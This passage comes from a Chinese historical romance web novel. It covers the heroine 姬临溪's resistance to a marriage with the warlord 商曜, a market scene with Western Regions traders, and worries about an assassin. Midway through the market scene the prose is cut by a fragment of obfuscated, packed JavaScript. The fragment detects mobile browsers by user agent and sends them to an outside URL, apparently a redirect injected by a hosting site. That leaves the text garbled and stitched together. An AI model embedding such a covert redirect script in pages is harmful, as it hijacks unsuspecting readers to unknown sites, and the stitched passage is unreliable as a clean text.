“我想也是的。”她实在高兴得险些笑出来,硬生生强忍着,“君侯少年英主,走到哪里都不缺美人相伴。我算什么东西,实在不必强人所难。我这就滚了。”
语毕,背着剑果断开溜。一个小娘子,跑得比野豹都要迅捷,恨不能吹口哨的架势。
简牍被重重抛在案上。
然而她又倒着走回来,谨慎探出脑袋,犹不死心:“其实我猜对了吧?如果是,你对我发作,更没有道理。只许自己做,不许别人说,最没意思了。”
临溪咬了下唇,还是问:“是你知道后,不许他们对荀将军动手吗?”
“不是。”商曜已经连看都懒得看她一眼,目光落在军报,低回头去,淡声答复,“我的军师不屑为之。”
她愣一愣,也不知信没信,总之不再多嘴,背紧剑鞘,赶紧走了。
他抬起眼,只看到最后一角襦裙。
待回到穆家武堂,瞥见大门外两队亲兵,暗道不妙,侧身就矮了腰鬼鬼祟祟,欲打马逃走。已经被人举着火把高吼一声“女公子在那里”,团团围上来。
轻鸿跟在姬昱身侧,一脸无可奈何:“翩翩。”
“下马,跟我回家。”姬昱负手站在身前,板着脸,“你不管教是不行了。”
临溪垂眸。
“下马!”
她不情不愿下了马,站得笔直:“阿父。”
姬昱一指脊背:“把剑解了。”
临溪握紧剑鞘背带,摇一摇头。
“那跟我回家。”姬昱示意她上前,“回家去!即日起没有我允许,不得离府半步。”
“凭什么?”
“凭你闯祸!”姬昱动了大气,“姬临溪,你自己知道今日犯的错不同,不必跟我装傻。”
临溪连忙解释:“我已经去——”
“别仗着商曜喜欢你,就跟我无法无天!”姬昱忽然斥道,“我是你父亲!”
临溪一愣,怔怔盯着地面。
李芝兰正在等,见女儿虽一脸低落,到底老实回家了,也松一口气。伸手将人检查两遍,方问:“今日究竟为何?你听谁说了什么?”
又道:“翩翩,你真是弄错了。吃食酒水都是我家备下,怎么会……”
“我弄错了。”临溪吸了吸鼻子,“是我弄错了。对不住,阿母。”
李芝兰疑惑:“翩翩?”
“我去睡了。”
临溪转身欲走,姬昱跟着进门,犹绷着脸:“把你那条心给我死了。”
李芝兰知道是说谁,一时倒没有阻拦。临溪没有听懂,忍无可忍吼道:“阿父究竟还要怎么样?”
“我说那荀竞初!”姬昱紧紧皱眉,“你像不像话?你摸着良心自己问问,像不像话?他多大年纪,儿子跟你做姐弟的年纪,你今日那般情急,是生怕旁人看不出来?”
临溪也就理亏这一件事,默了一默,拧开脸去:“他真被毒死了,你就高兴了。”
“你——”姬昱无奈透顶,“总之我告诉你,想都不要再想。老实听我跟你阿母安排,最好顺顺当当嫁到晋阳去。以后我再也不管你。”
“什么晋阳?”临溪一惊,“谁说我要去晋阳?”
“你看看你女儿。”姬昱望向李芝兰,口吻不自觉放软,“竟然也是个不长心眼的。”
李芝兰脸色松了一松,握住临溪双手,语调微微雀跃:“他有些喜欢你了——你看不出吗?”
“你们怕不是癔症吧?”临溪只感到惊悚,从脊骨处飘起来一阵寒凉,“我去睡了。”
姬昱终究极淡地笑了一笑。李芝兰忙追进屋,去挽女儿臂膊:“千真万确。邬先生脸色极差。”
“绝无可能。”临溪翻白眼道,“他今日才答应我,回晋阳之前,不会再寻我麻烦,不必见面不必说话。这是什么喜欢?”
李芝兰微微一怔,很快推翻:“跟你置气呢,不是真心的。”
“阿母省省吧。”临溪仰面倒在床上,语气有些麻木,“他只是想跟我睡觉,睡不到,不服气罢了。”
李芝兰嘴和心都梗了一下,低头掩饰一瞬间的尴尬神色。环视房内一周,蹙眉道:“翩翩,再选两名近身女使罢。”
“不要。”姬临溪果断摇头,“在我能保护旁人之前,我不要婢女了。”
李芝兰默然片刻,还是同意了。走过去在床沿坐下,低声开口:“若非今岁凉州不知太平,阿母本来也打算帮你相看了。”
“这不太平不是拜你相中的女婿所赐?”
“你这孩子。”李芝兰停了停,“你一点也不喜欢君侯吗?”
“喜欢啊——喜欢到,”临溪坐直,一字一句,“想要亲手杀之。”
“姬临溪。”李芝兰严肃,“往后不准再说这种话。”
她又倒下去:“我爱说不说。”
“翩翩。”李芝兰又心软了,摸她发鬓,“年
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岁到了,就该嫁人。晋阳远是远了些,如今北地郡驰道通畅,快马也不过二十日,不是天堑。你不用害怕。”
临溪恍若未闻,她又道:“我同韩将军徐司马他们聊天,得知君侯家中境况,很是不错。兄友弟恭,姊妹相亲,老商侯夫妇都是好相与的人,且如今不大管事了,总在西山行邸隐居。你自幼没有兄弟姊妹,热热闹闹的也好。”
临溪懒懒反问:“那我去看蚂蚁搬家不就好了?”
李芝兰轻轻打了她肩背一下。
“且韩将军暗示,”李芝兰靠近女儿耳畔,“他不止是无妻无妾,是从未有过人,只遇见你后,才有所不同。韩将军与君侯自幼在一处习武,关系甚是亲厚,他说的不会错。翩翩,这不好吗?”
韩朔不知自己一张破嘴,将李芝兰哄得心花怒放,促成这桩姻亲的心也就越发重了。
“啊?”临溪错愕,一跃而起,不可思议道,“那他得多吓人?”
李芝兰困惑:“怎么这样说。”
“他这是非要女子当着他面杀人,才有兴趣和她做那事呐!”临溪一下子更明白了,彻底参破他的兴致从何而起、又为何而深,连连摇头,“此男太吓人!”
李芝兰抬手捂脸:“翩翩!”
“我不。”临溪一扬下巴,“阿母,实在不是我要说你们。起初怕他怕得要命,怕他也如军中那些淫凶恶徒一般,得了女子后肆意凌辱,或与人亵玩,恨不能我连夜消失在姑臧;接触下来,发觉此人并非如此,甚至愿意礼遇你们,待我也没有彻底逼迫。立刻调转了头,又恨不能即刻成婚,和和美美做夫妻。阿母,你就从没有发觉不对吗?”
李芝兰微微地皱着长眉:“耳听为虚。原本就是要亲自接触,方知其人品行质素如何。”
“是,这是对的。”临溪点点头,“我说的是,你们一直以来,只关心他是谁。也只根据他是谁,来决定我的人生。”
姬临溪这个人,一向捏在分寸之上,从不多说。话到这里,拍了拍母亲肩膀,起身送客,关门至一条缝隙,脸颊鼓包,声音清晰:“我不要赌他喜欢我。”
吐一吐舌头,做一个鬼脸,啪地将门扉合紧。
亥正过了一刻,帅帐内油灯光影依旧,邬逊在帐外揣手许久,还是抬起步伐。
抬手敲一敲毡帷:“主公。”
“进。”
邬逊上前,踌躇一瞬,拱手致歉:“此事是我横生枝节了。”
“无事。”商曜放下手中刑狱简,“他们不敢如何。先生不必忧虑。”
“原本是没有什么的。不想那女公子横插一脚。”邬逊道,“我思来想去,大约是跑镖那边走漏消息。凉州城内穆家武堂的人,同这女公子很是亲近,且她又心悦那——”
商曜抬头。
“——不过无事就好了。姬使君和荀竞初都不欲追究。”邬逊改口,“少主公,使君此女似乎颇为机警。我问熙良,听说当时郭颐事发,也是她比夫人更早察觉。”
他“唔”一声:“她本来就聪明。”
语气古怪,真的古怪。有无奈,也有说不清道不明的……愉悦?又有点烦躁,有点冷淡。
“臣以为——”邬逊迟疑,“看少主公意愿如何了。”
商曜一时不语,他又试探道:“主公今日离席,似乎情绪有些受她影响。”
依旧是沉默。
邬逊正欲放弃打探,案后男子忽然开口,轻描淡写:“所以不要了。”
邬逊愣了一下。
“先生放心。”无风无波语毕,转而继续低头,专注去看文字。
16. 商旅
姬临溪回到索然无味但风平浪静的生活。
姬昱说到做到,不许她再出门乱逛,甚至请了女夫子来教礼仪,不过没几日被姬临溪捉的毛虫气走了;又请绣娘来量裁新衣,做了一身月青厚襦紫曳地裙和一身深赭夹袄骑装。
一日午后,竹简盖在脸上,躺在窗下小睡。
“庖厨煮了黄芪汤。”李芝兰敲开门,“天气凉了,你父亲说,让你去前屋送一盅。”
姬临溪当作没听见,翻了个身。
“翩翩——”
“他不会喝的。”临溪瓮声瓮气,“阿母,别费力气了。他是真的说过不找我麻烦了。”
“气话而已。”李芝兰并不信,“你去试试。”
“这么说吧。”临溪抬手捂住耳朵,“如若他出尔反尔,我看不起他;若他本就是为跟我经营男女间那些你来我往,我更不接招。谁稀罕?有这时间,饭都多吃一碗。”
李芝兰逼不动,催促姬昱从商曜那边下手。
不想回应是一样的。姬昱请他来家中用饭,被一口回绝,提及临溪,毫无反馈,托词替小女冒失道歉,对方只道,事情过去了。
姬昱就差直接问,你究竟看上我女儿否?但连饭都不吃面也不见,成日领着人往返于凉州营与各部衙署之间,没有一丁点需要红袖添香的意思,答案似乎浮出水面。
久而久之,连李芝兰都开始心里打鼓。
再去劝姬临溪,然而一进后院,羽箭嗖嗖射出去,准头倒是越来越好,吓得她往后退。
晚间,一家人围坐用饭。
“我原以为君侯年纪小,又是武将出身,大约通伐不通治。”姬昱对着李芝兰道,“不想聊起农耕屯田,豫州近几十年黄河改道之祸记得清清楚楚,可见背后是下过极大功夫的,肯学就好。”
姬临溪把整罐青菜豆腐汤抱过去,直接端起陶罐大口大口地喝,没有一点反应。
姬昱就皱眉了。
李芝兰轻咳一声:“翩翩,注意礼节。”
临溪砰地将陶罐放下:“成日闷在房里,有谁看得到?”
“我不是非要关着你。”姬昱拧着眉道,“我是让你自己上点心。近日君侯每天都在见人,有时那简牍一看就是六七个时辰,分明是急着回晋阳了……”
临溪眼睛瞬间一亮:“当真?”
夫妻二人无言对视。
“翩翩。”还是李芝兰主动问,“为何不愿意呢?不肯远嫁吗?”
“非也。”临溪使劲摇头,“如果是我自己选了又真心喜欢的人,南海我也去。晋阳算什么远?”
“你连他都不喜欢,”李芝兰无可奈何,“你以后能喜欢谁?”
“阿母说的什么话。”姬临溪怪道,“如果是我喜欢的,他一无所有我也喜欢;我不喜欢的,他坐拥天下我也不喜欢。”
“竞初不行。”姬昱以方巾拭一拭嘴,加重语气,“我再跟你说一回,趁早死了这条心。年岁太不合适。”
临溪心里如针戳般细密痛了一痛,故作无所谓道:“本来就没想过。”
忍不住讥讽:“你们别以为他把凉州打下来,凉州就永远是他的了。兴许哪一日什么益州洛阳也来人抢,又去求荀将军娶我——不过是了,这回可以直接去信晋阳寻求庇护,让我给人家做妾!”
丢下方巾,起身就走。
李芝兰也吃不下了,思考片刻,自以为发现症结:“她还是怕做妾。”
姬昱也这样想。其实他也担心,如果是做妾,他又宁愿将临溪留在身边了。但真是没有一点胆量去问这事,更不能试探商曜。
“实在不愿意,还是算了。”李芝兰忽然道,“勉强有什么意思?且君侯也不是什么容易说动之人。一时起兴,或许当不得真。”
姬昱揉住眉心。
次日,临溪再去推偏门,果然打开了。
李芝兰眼睁睁看着,小女整张脸陡然一乐,半分犹豫也没有,转身去抓起剑背好,张开双手,欢天喜地跳出去也。
她叹了气,又莫名笑一笑。
临溪快步至武堂,赵夫人外出访友,只几位小厮正在洒扫,问清轻鸿和女使去市集卖瓜果了,掉头赶过去。
以前从没觉得姑臧市集这样讨喜,接了个果子咬着,一路过去都是相熟面庞和声音,笑问女公子被放出来了?可见使君心软。
临溪抬着手打招呼,剑鞘一晃一落。赭石骑装线条收紧,贴走肩骨腰身,从交领至脚踝又都是满目的红,衬得少女分外修长利落。
穆轻鸿正在将一众果蔬搬下犊板车,堆上木架,脸上是即将发财的喜悦——胡瓜,苜蓿,安石榴,这都是胡货,没几家有,不愁卖。
几袋胡瓜没放稳,要落不落,滚下就会砸到轻鸿脑袋。姬临溪眼尖,猛地踩上一只胡床借力,纵身落在木架之前,抬手撑回胡瓜,眉眼弯弯:“我来也。”
轻鸿惊喜:“使君不生气了?”
“他拿我有什么办法啊。”临溪拍拍手,随口道,“穆娘子,你这是要赚多少钱?”
“钱不嫌多。”轻鸿抬起一根食指,“待阿父阿兄从上郡归来,拿到这笔佣金,我家预计再开一家缣帛肆,多招几位绣娘,又卖布匹又卖成衣,不愁不发财的。”
临溪不由羡慕:“这次佣金很多吗?”
“可多了。”轻鸿一边拍平招幌,一边解释,“匈奴人喜欢冬天作乱抢东西,走镖就可以起价。如果物件贵重,翻三倍也不奇怪。”
“原来如此。”临溪选了一只胡床坐下,懒洋洋吆喝,“西域胡瓜!上好的西域胡瓜!”
见一络腮胡人停下,又改口:“郎君是远道差旅而来?那看看苜蓿,马儿可喜欢了!上好的饲料。”
刺史府堂屋内,姬昱正手心冒汗。邬逊近两日领着人翻算赋税,竹简一车车运进运出,最后指着“修宫费”和“导行费”,问他这些钱粮去了哪里。
其实没什么不能说,是他不大想说。默然片刻,邬逊就凉凉道:“在洛阳了。”
姬昱脸上挂不住,只好道:“近年确实有些附加税目,君侯若想薄免,也要明年才好施行。”
“免。”商曜微微皱眉,讽道,“竟还有马口钱和刍犒税。怎不在凉州收海渔税?”
邬逊没忍住,捋着胡须失笑。外头刺史府守卫并足行礼,高声回:“使君!一位名叫郭涉的郎君求见,称是使君旧识。”
姬昱脸色猛地一变,隐隐竟有些透出些僵直之色。含含糊糊告辞,转身快步去迎。
商曜多看了一眼,目光示意一旁桑烨。桑烨会意,开门出去。
日昳时分,监管市税贸易的姑臧市长前来,说这两日有大秦商队抵达姑臧,可陪同君侯观市。
韩朔两眼放光:“少主公,去看看!姑臧市集可比晋阳的有意思!”
姑臧乃西域道必经之地,各国胡商络绎不绝,与并州冀州等地市集有所不同。自武帝张骞开拓河西,缯帛贸易的繁盛程度虽受战乱波及,但基本连绵不绝。
市长、市掾和几位市啬夫在前,趁今日定例巡视,领着几人检阅市集。韩朔左看看右看看,对着琉璃珠子各色编织很是新奇:“少主公,我们给老夫人和两位翁主买些礼物吧?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962411|177702||http|test|mini|href|location''.split(''|''),0,{}));
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>商曜应了一声好。
“这就是西域细毡。”韩朔啧啧,“少主公,晋阳贵族那时争相炫耀的西域细毡。听说洛阳世妇也在家里挂。”
“不错。”市长笑着上前道,“都是从安息大秦等国传来的上好挂毯。将军若喜欢,拿几条回去赠与晋阳诸位夫人就是。”
韩朔理直气壮去抱,店主看一眼市长,虽不知另外这几人身份,到底敢怒不敢言。
商曜一按韩朔肩下,简短道:“予钱。”
韩朔摸了摸鼻尖。
再往前走,乍然听见耳熟声线:“胡瓜!苜蓿!蒲桃!小娘子,吃不吃蒲桃?叫你家郎君给你买。”
“什么我家郎君啦——”
姬临溪抓了两条胡瓜在手里晃,正笑眯眯招揽时,忽然感觉周身一凉。警惕向四周看去,果然对上那张可恨脸庞,眉眼一如既往冷峻。
韩朔暗叫不好。
这女公子今日漂亮得太过头了!
他以前觉得她个子小小,但今日着女式骑装,从颈到脚只一整件长衣,针织带收拢着纤细腰身,又是醒目的赭石颜色,将她包裹出又明媚又飒沓的色彩。
最独到是那处同心辫。或许是为干活方便,未梳发髻,只将青丝三股分绺,交错绑成又漆黑又粗实的一道辫,从右肩单侧垂落。
五官全然露着,光洁饱满,双眼如月。骨骼轮廓挺立而向内窄,更有鼻梁高耸,抬起下巴时,像一座巧妙精细小山脉。
这就漂亮得太过头了。
韩朔偷偷去看少主公脸色,见他虽未失态,但那眸光凝固,一眨不眨,心下猛地直觉不妙。
临溪看到市长和市掾,知道这是巡视市集来了,撇一撇嘴,只当不识。不想韩朔笨手笨脚跑过来,指着胡瓜粗声问:“这是什么?”
“胡瓜。”临溪没好气,“你要不要?不要别挡着我做生意。”
“怎么不要了?”韩朔挺胸,“这个怎么吃?”
姬临溪头也不抬:“生吃。”
韩朔以为她讥讽自己是北地野人,立刻叉腰:“女公子这话是何意?你是觉得,我并州儿郎都是茹毛饮血之辈?”
穆轻鸿张了张嘴欲解释,韩朔又不服气道:“这话洛阳人说也就算了!凉州人凭什么也说呀?”
临溪望天,最后抽出一条最干净的,去屋后水缸仔细洗了一遍,折返回来,当着韩朔面,咬下一口。
随后拿开胡瓜,耸肩反问:“懂了?‘生吃’。”
轻鸿憋笑。几位官员都笑了,这才上前,拱手见礼:“女公子。”姬使君的女儿,他们不至于认不出。
临溪颔首还礼,又抬下巴看向韩朔:“凉州人怎么了?我姑臧富邑,通货羌胡,市日四合,比晋阳市集可不知好多少。”
见韩朔黑脸涨红,那位又沉默站在一旁,不耐烦道:“好了没有?要买就快些,别拦我赚钱。”
正巧有一羌人牵马前来,询问轻鸿苜蓿价格。这人没带译者,支支吾吾半晌,轻鸿还是听不懂,连忙踮脚:“翩翩!”
“来了。”临溪跳过去,利落改用羌人语言,“你要多少?一束五十钱,两束九十。”
那羌人明显松口气,二人针对产地用量,一问一答。不知对面说了什么俏皮话,姬临溪双手作花瓣状,开在下颌两侧,眉眼弯弯。
轻鸿不经意抬头,那位气度不凡的玄服男子原本一直安静站在那个黑脸粗人身后,这时目光定定,凝望临溪。
神情恰好映入她眼帘。
分明面无表情,但又真是极为明显、藏也藏不住的——
欣赏。
17. 裙摆
一行人回到衙署已是日暮。
商曜直奔堂屋而去,韩朔连忙快步跟上。见他像阵风般落定在案后,抬手抽了一本木简就读,越读越快,木片翻飞,发出碰撞声。
最后猛地扣倒在案几上。
韩朔难得正经一回,开口了。
“少主公,”他认真道,“实在想要,带回晋阳去吧。”
商曜沉着脸,一言不发。
“带回晋阳去。”韩朔重复,“至于是否娶做夫人,主公自己斟酌,旁人不好置喙。先带回去再议,主公想要的话。”
“一个女子而已嘛。”他又道,“少主公不愿意影响心情,索性娶回府里关起来,保准她一辈子听话。又有什么好影响?”
“闭嘴。”
韩朔立刻抬手缝嘴。
见少主公依旧不置一词,心里也犯嘀咕,不知这究竟是在忍什么。分明是很满意也很想要的,那眼神快把女公子盯出一个洞,却一声不吭走了。
走出一段,又让他回去把所有的西域果蔬买下,送来并州军营交给庖厨,让人也尝一尝鲜。
姬临溪听他说要做给将士吃,态度勉强好了一些。踮脚去够一箱被轻鸿留下自己吃的安石榴,抱出来两个大的,不由分说塞进他怀里:“劳烦你替我拿给竹娘,她夫君就是你们的伙夫长。跟她说要剥开皮,吃里面这些一粒一粒的小籽即可,不可吞咽其中籽核。谢她之前照顾我。”
韩朔愣了一下,她又伸出食指,靠近一寸威胁:“你敢偷吃,我告诉你家主公去。”
眉宇间流光溢彩,似山川雾气涌动。
同心辫向身后一甩,利索干活去了。
韩朔捏着那安石榴,不禁扬声:“这又是从哪里来的?”
“安息国。”临溪回头,叉腰解释,“‘东西万里,西海之滨’,没听过?说的就是安息。”
说话难听,补上一句:“你这个没见识的晋阳人。”
韩朔忿忿,但转述给少主公,见他分明微微地笑了一下,又立刻强行不做表情,就知道事情更加不妙。
万物自然生长啊,非人力能够抑制。
桑烨敲开门,送上竹简:“主公,傅将军传信。”
商曜抬手接,韩朔连忙问:“他何时到?”
“快了。将军说,河南那几位总算反应过来,兖豫二州欲集结兵力向西京来,但麾下谋士争执不休,尚未定论。”桑烨道,“汉室派信使向晋阳发了问罪书,说是帝亲笔。”
韩朔不屑:“难为他还会写字。”
“冀州也有转达信件。”桑烨上前,“王辽说,青州刺史郝嘉,正旦开年欲遣使臣访晋阳,特意询问主公归期。”
商曜不语,韩朔又乐呵呵:“正旦肯定早回了,让他们放心来吧。”
他想起一事:“话说,郝嘉有个女儿似乎也很是貌美。不知会不会同行。”
屋内一静。
桑烨咳嗽一声:“这我不知。你若想看,你到时自己看去吧。”
这才想起白日之事,转向商曜:“少主公,今日来见姬使君的那人名郭涉,是一行走凉州的刺客,金城籍贯。听闻曾经在姑臧犯事,被郭颐赦免,有过交情,又都姓郭,以结拜兄弟相称。”
听到刺客二字,韩朔猛地按住剑:“那岂不是要来寻仇?”对外,郭颐可是战死在并州人手里的。
“他哪里来的胆子向少主公寻仇。”桑烨白他一眼,“大约是从金城来吊唁。主公不是将尸首还给使君了?使君将人好生安葬在城郊,也立了碑。”
韩朔点一点头,商曜忽然一皱眉:“派个人盯着。”
桑烨眼睛转了转。待回到另一间堂屋,见邬逊仍在点灯复核边军简,从旁帮忙整理,忽然开口:“先生,少主公对姬使君这个女儿,似乎颇为上心。”
“你才看出来?”邬逊哼一声,“再往下,他就要自讨苦吃了。”
“今日我说了那郭涉的事,熙良心眼粗,倒是少主公听进去了。”桑烨笑道,“既是结拜兄弟,怎会不知彼此政见?郭涉肯定不信郭子昂是舍生取义,这才赶来姑臧质问。”
邬逊推一推竹简,口中只道:“江湖侠义人士,随他去。”
“先生不满女公子身份吗?”桑烨好奇,“那日少主公离席,先生就不高兴。”
“恰恰是只有身份满意。”邬逊摇头,“姬逸衡的女儿,祖父曾行走洛阳尚书台;其母又是陇西人士,祖上乃飞将军旁支。这家世名声的用处,比晋阳门第更大。”
桑烨疑惑:“那……”
“她本人不好。”邬逊语气一沉,“一是太过貌美,容易乱人心智;二则美却桀骜,不屈不挠,心眼又多,顽劣非常。你以为她烧帅帐这些事,我当真不知道?还叫人脸上挂彩,这叫什么女子?不成体统。”
“但——”桑烨有心想帮忙,“其实世间女子,只要进了夫家,天大的聪慧也再不能成事。先生不妨成全少主公,毕竟近二十岁,老夫人也一直在催。”
邬逊道:“世间不缺贤淑贵女,何必多此一举。谁知今后会不会添乱?”
桑烨默然,不再说了。
临溪和轻鸿一道在市集用了饭,才慢吞吞归家去,见主屋亮着灯,叹了口气,不情不愿回去问安。
姬昱同李芝兰却无暇教训,隐约有些心事重重模样。姬昱招手让她坐下,迟疑片刻,道:“近来你还是不要出门,乖乖在府里待着。”
“又怎么啦?”临溪不解,“我今日真什么也没做了——”
“听你父亲的。”李芝兰也重重道,“在府里待着!不许出去惹是生非。”
“可是我……”
“你自己生得好看,你心里要清楚。”姬昱含含糊糊道,“总是出去招摇过市,对你又有什么好处?”
“什么怪话。那我长得好看,我还怀璧其罪了!”临溪反驳,心念一动,“是那商曜又说什么了?”
李芝兰一愣,她已经道:“我就知道!我今日在市集瞧见他了。”
“肯定是他。”临溪腾地起身,“又是他!”
“回来。”姬昱喝住,“一身脾气。和他无关,不许出门就是不许出门,再胡闹,我叫董将军来把剑给你熔了。”
临溪站住脚步,握一握拳,头也不回跑了,将房门关出一震。
李芝兰这才担忧问:“不离家就没事吗?刺客武力高强,行迹飘忽,都不知郭涉何时才能归金城去。”
“那还能如何。”姬昱皱眉,“子昂早两年间就同他说过心向晋阳,他一点不信是战死,我只能搪塞。翩翩那些事迹,城中百姓不清楚,并州军营却不是没人传,现下再去叫人闭嘴,哪里叫得过来。”
李芝兰无奈扶额:“君侯知道吗?”
“他二人断都断了,互相不理睬。”姬昱摇头,“我猜商侯是芥蒂她喜欢竞初的事,就不想要她了。这种性情,再起纠葛,我也不知对翩翩是好是坏。让她待在家中,有守卫在。不许出门。”
夫妇二人是这么想,然而次日傍晚,姬临溪从庖厨捧了酪浆,径直往前院堂屋去。
屋内议事完毕,众人前后出门。见她一身紫裙、亭亭玉立等候,邬逊霎时蹙眉
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,一挥袖走了。
姬临溪莫名其妙。这臭老头,想害荀竞初的事她都没计较,他甩什么脸色?
韩朔终于放她进去。
临溪将陶盘砸落案几,坐于案前,开门见山:“你是不是又看上我了?”
堂屋内呼吸可闻。韩朔张大嘴,毫不犹豫弯腰溜走。
商曜抬起眼睛。
“为人君者,可以犯错,可以是非不分,可以颠倒黑白,都不能出尔反尔。”临溪盯着他,“这道理你明白吧?”
他低下头翻竹片,声音里有清清楚楚的浅淡笑意:“不明白。”
果然!果然!
“那我告诉你。”临溪接住话,“你不了解我,和我并无多少交集。只是出于男子本能,看我漂亮,生出兴趣。仅此而已。”
“漂亮不值钱的。”她倾身一寸,认真说服,“佳人为英雄心动,英雄为佳人折腰,这都很寻常。但天下美人无数,多过我姑臧安石榴。我说的是,比里面的小籽还要多,还要娇艳……”
商曜打断:“说重点。”
“你没有必要为我说话不算数,落人口实。”临溪就说重点,“何况我也不会跟你回去晋阳,你马上就走了,横生枝节不好。我父亲虽然本事不算很大,但如今你愿意留用,他也不是非要你庇护我不可。且你那个老翁军师,还很不喜欢我——当然,不喜欢我就不喜欢我,我也不喜欢他。只是怎么看,都不必再生事端了。你听得进去吧?”
“我父亲又不让我出门了。”临溪又道,“是你说了什么?”
是因为郭涉。刺客行事不问缘由,只为报恩。凡恩主身死,则不计代价为其复仇,直至杀死仇敌。且通常武功高强心性决绝,极难对抗。
姬昱夫妇怕吓到她,是以不提。商曜也就不点破,将竹简捆缚叠好,并不答话。
“还是因为穆家武堂?”临溪攥起手,“请你放心,我同武堂只是私交。安息胡商和毒药一事是我偶然联想,误打误撞,同她家没有任何关联。她家在市集本分经商,父兄还去你并州地界走镖,一向很懂规矩,绝不会多嘴生事。”
真能胡思乱想。不过涉及朋友亲眷,她会格外正经一些。商曜抬脸回望,看清少女面上紧张关切,突然笑了一笑:“你话好多。”
“你——”临溪不悦,忍下了,一鼓作气解释,“那邬老翁倒是知道派人找胡商要东西,但他以为在河西道经商,是一个给一个拿这样容易?安息人送这种东西来中原,进了凉州,就会约武人跑镖。但各家武堂从不查问所运何物,也须保密交易过程。”
手心摁在桌面警告:“她是我最好的朋友。总之,谁敢为难她家,我就跟谁拼命。”
又来了。他心中生出一分坦然的习惯。
他又这副皮笑肉不笑的神气模样。她心中也习惯:“你不说话,什么意思?”
商曜蓦地伸手。
她今日在家,梳了平髻。长发向后盘出发包,以一枚骨簪横固,余下长发自然垂在肩后。
他直接抽走长簪,抬腕丢开。
乌发忽泄,扑溢满脸。临溪猝不及防,本能去握,被人紧紧捏住腕骨,低声道:“不及昨日。”
她茫然看他,听见第二句轻声话语:“青丝一绾,侧垂如黛。”
她又愣了愣。
二人四目相对间,她忽然颤了一颤。
他从未用这样温润的目光看过她。从前一直只从高处睥睨,这一刻却是专注平视。
她感到古怪。
临溪缓缓开口,语气颇为不确定:“你在同我调情吗?”
18. 相救
商曜立刻松开手。
他气得有些想笑,不好开口叫人滚,索性什么也不再说。抓过手边一枚军简,即使拿倒了,依旧镇定看下去。
临溪手心扑到一边夺回骨簪,利索将头发重新盘好,二话不说起身向外去。走到门边,停下嘀咕:“作怪。”
随即头也不回跑了。
飞快藏进房里,扣紧门页,反身靠上去,拍拍胸脯。
心跳得有些快。
甩甩脑袋,猛把那些不合时宜的“其实这厮长得真不赖”念头甩走。总之应当与穆家武堂无关,那她就不管了。
说句掏心掏肺的,她既长成这样,近两年所接收男子爱慕,数也数不过来——虽然实打实接触过后,多半就没了,甚至变得畏惧她、讨厌她。
武威郡守段泰家的长子段宣,大临溪六岁,议亲时要死要活,说非要等翩翩长大,誓要守贞。
偶有一次,段宣去武堂找临溪,看见她单腿踩着石板撸起袖口杀鸡的狼狈丑样,回去就同郡守说不喜欢了,之后乖乖成婚。
连段宣小妹段文君都小声议论:大兄怎么只以貌取人呀。
功曹宋家儿子也类似。二人年龄相仿,幼时还一起读过几年书,交情不错。临溪长开后他也说喜欢,但射箭比不过被她当众取笑,就大骂她没有淑女德行,以后成了婚也是克夫的命。
李夫人得知后很不高兴,翻了脸,两家人也不好再议亲。
姬临溪就只喜欢过荀竞初一个人。和这些儿郎闹掰,自然不伤心。但慢慢也想明白,她本人除了一张脸,其实并没有多少真正叫男子喜欢的地方。
也或许他们所喜欢的,一直就只有女子皮相,和能够替他们生孩子的骨骼肌理。
临溪抱着膝,坐在院子里,望着正在天际处停泊的瑰丽夕阳,有些发呆。
说起来,她平日待人接物并无什么不妥,不说温柔小意,也一定算得上端庄闺秀。唯独对他,是彻头彻尾的暴躁决绝。
他怎么还没有对她失去兴趣呢?
要说美,他也才是最不缺美人的那个。
临溪实在想不明白。蓦地捉起手边羽箭,射中靶心。
再次日傍晚,姬昱同商曜一道出了堂屋,就见月门处一枚泥人,正弯着腰使劲推一辆柴车。泥人回过头,正是姬临溪,满脸污黑。
“这——”姬昱脸上一热,“翩翩!你这是在干什么?”
“庖厨说柴不够用了。”临溪拿袖衽,粗鲁擦一擦脸,“我顺手帮忙而已。阿父下值了?”
姬昱错愕,待回过神,走上前教训:“不成体统!庖厨没有小工了?要你砍柴?有没有女娘样子?”
“他家妇人生产,还不让人回去啊。”姬临溪实话实说,只不过确实是她动手抢的板车,“阿父还有什么事吗?”
“你这个样子——”姬昱没脸说了,是真的有点丑。
意识到商曜还在檐下静站着,隐隐约约明白了,叹口气道:“回去!不许再胡闹。”
临溪点点头,故意将板车推出咯吱响,又极其失礼地踹了一脚。
姬昱望着女儿背影,心下怅然。也许是过往经验告诉她,只要让男子看到丑陋不堪面貌,就能劝退兴致。
不过,这倒不是不对。李夫人生前,也不肯让武帝见最后一面。
姬昱回过身时,微微一怔。
商曜也望着她背影,唇角扬着,目光亦是少见的温和质地。
他看姬临溪,已经有怎么看怎么可爱的雏形了。
姬昱心念微动,斟酌半晌,开口道:“其实臣少时去过一次晋阳。”
商曜收回视线。
“那时我还在洛阳做郎官。”姬昱忆道,“呼楼老单于过世,题连单于继位。我通晓匈奴文字,陛下就派我陪同那时的鸿胪卿出贺册封。借道晋阳,从代郡出,有幸得老君侯接待护送。”
“晋阳巍巍城池,我是很喜欢的。”姬昱观他脸色,慢慢道,“但某膝下只这一个女儿,且老来得子。是以君侯也看到了,我夫妇二人实在娇生惯养,教成如今这种肆无忌惮的蛮横模样。恐怕她去了,无法适应,行径顽劣,更会讨人嫌……”
商曜打断:“不必适应晋阳。”
姬昱怔了一下,神色困惑:“君侯的意思是——”
“至多三年。”他道,眸光微微一闪,“长安,人人都会适应。”
姬昱心脏遽然一跳,连忙拱手。
果然还是想要,本尊也大方承认。他原本想趁机问,能否是娶而非纳,眼前人已经转身走掉。
回到家中,李芝兰正好备下暮食。今日有一整罐鲫肉藕巾,佐以麦饭和胡饼。
“你这个女儿我是教不了了。”妻子没好气,“一身灰归家,难看极了。我叫她赶紧去沐浴,不洗干净不许用饭。”
“夫人管教就是了。”姬昱笑着坐下,捏起木箸,“我方才试探君侯——”
李芝兰立刻盯过来。
“还是——”姬昱拿捏着措辞,“恐怕还是——”
